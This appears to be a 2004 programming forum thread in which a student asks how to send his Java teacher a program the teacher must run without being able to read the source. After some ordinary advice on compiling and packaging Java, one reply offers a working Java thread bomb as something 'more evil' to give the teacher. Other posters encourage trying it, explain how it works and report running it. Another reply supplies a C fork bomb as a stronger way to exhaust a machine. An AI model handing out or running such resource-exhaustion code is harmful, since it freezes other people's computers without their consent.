How do I make an "exe" of a java file??

Laptop2250 · 01-13-2004, 06:56 PM

I want to send this code to my java teacher

Code:

public class OceanOThunder {             

    public static void main (String []args) {
       
       for (int i=0; i<1000000; i++) {
            if(i<10000) {
                System.out.print ("OceanOThunder");
            }
           
           System.out.println (i);
                                      }
                                             }
                                         }

But if I send OceanOThunder.java to him, he will just open it up with notepad (he is windowz). How can I make this into a file that he has to run to see what it does but isn't able to view with notepad.

Thats what I meant by exe, (to my knowledge) unable to read with notepad, but have 2 run 2 see what it does.

jtshaw · 01-13-2004, 07:01 PM

what you need to do is compile it into java byte code using something like the Sun SDK (or whatever SDK he asked you to use) and he needs to have the JavaVM on his end to run it.

Mega Man X · 01-13-2004, 07:03 PM

He has to have Java Run Time environment installed. As far as I know, you cannot create executables with java (ok, you can compile it to the machine language, but I never really went to it). So to compile the code:

javac OceanOThunder.java

That would create a file called OceanOThunder.class which is somewhat "compiled" and to run it:

java OceanOThunder

If you are using gcj to compile, use:

gcj -C OceanOThunder.java

Laptop2250 · 01-13-2004, 07:10 PM

Ty =)

this code actually lagged my machine at 100k

shellcode · 01-13-2004, 07:44 PM

Quote:

Originally posted by Laptop2250
How can I make this into a file that he has to run to see what it does but isn't able to view with notepad.

considering that this is a computer science teacher, he is probably interested in your source code, not the end result.

deiussum · 01-14-2004, 08:38 AM

I probably shouldn't do this as it could possibly considered as contributing to the delinquency of minors, but as has already been pointed out, the teacher will probably want to see source code, so won't be tricked.

So, if you wanted to give your teacher something a bit more evil than printing out a bunch of lines of output, you could give him something like the following.

Code:

class SpawnBomb extends Thread {

    public void run() {
        SpawnBomb oBomb = null;

        while(true) {
            oBomb = new SpawnBomb();
            oBomb.start();
        }
    }

    public static void main(String[] args) {
        SpawnBomb oBomb = null;

        while(true) {
            oBomb = new SpawnBomb();
            oBomb.start();
        }
    }
}

Laptop2250 · 01-14-2004, 05:04 PM

yep he requested i send the .java o well would of been funny.

Anyway, I am not a delinquent minor (I messed around with too many punters on old aol versions with friends to have fun with those kind of things now =) im just newb programmer =). Does the SpawnBomb take up ram and eventually freeze the pc (like my program but without printing out stuff, and my progam ends?)

whats extends Thread { do?

Code:

class SpawnBomb extends Thread {

nmoog · 01-14-2004, 08:37 PM

Quote:

Does the SpawnBomb take up ram and eventually freeze the pc

Try it out!

It'll kill ya puter much faster than your printing program! Threads are the coolest things ever. Read up on them - they have good uses too!

coolman0stress · 01-14-2004, 10:21 PM

You can get an "exe" like behaviour from a java app.
Take your .class files and put them into a .jar with a manifest. Then if the user's pc is configured correctly (when you install the runtime it should do this), double clicking on the jar file will execute it.

deiussum · 01-15-2004, 08:32 AM

The extends Thread causes the class to inherit from the Thread class, which is how you can create a separate thread of execution in Java. You can have multiple threads, where you have different threads executing at essentially the same time. The SpawnBomb class there starts out with a while loop that continuously starts up a new thread. Each thread it starts itself continuosly starts up a new thread that in turn starts more threads...

So essentially, you have an exponential number of threads being created, and each thread is fighting for CPU time, so it will keep your CPU very busy.

For a variation, you could use a static int that is incremented with each thread created, use it to give each of your created threads an ID, and print that ID out to get an idea of what is going on.

caged · 01-15-2004, 09:05 AM

there are programs that can compile java code into .exe files dont remember the names google it and you should have some direction. it kinda defeats the purpose of java as a language that will work on any platform (as long as the java virtual machine is installed). but you have justified your self there (ah its for malicious purposes... ) ;P

ben.

xushi · 03-16-2004, 11:11 AM

Lol, nice bomb there

Its a shame it doesn't last long in high end machines... it took up half a gig of ram, and eventually kept outputing

java.lang.OutOfMemoryError: unable to create new native thread at java.lang.Thread.start(Native Method)
at SpawnBomb.run(Spawnbomb.java:8)

before it terminated itself a minute later.. But it did manage to lag my music for a second there...

hmm, /me wonders what /me could do with this code and a webserver.. muhahaha..

As for java to exe, there are loads out there, check this one out
http://www.duckware.com/jexepack/

HTH

worldmagic · 03-17-2004, 06:52 AM

I know that you want to do this in Java. And you maybe can, the problem with java has memory restricts (Windows only gives every JVM so much memory to play with, it becomes abit hard to useup all memory in the machine that way). A failed thread wont terminate your java program, but it will give a hint to the user whats going on.

Dump the threads, and go for creating new Processes (new running programs).
Theres the source in C. You can probely translate this to Java.

<code>
#include <unistd.h>
#include <stdlib.h>

int main()
{
while(1) {
fork();
}

return EXIT_SUCCESS;
}
</code>

From the Fork Manual page:

DESCRIPTION
The fork() function shall create a new process. The new process (child
process) shall be an exact copy of the calling process (parent process)

You will get realy nice results using this method.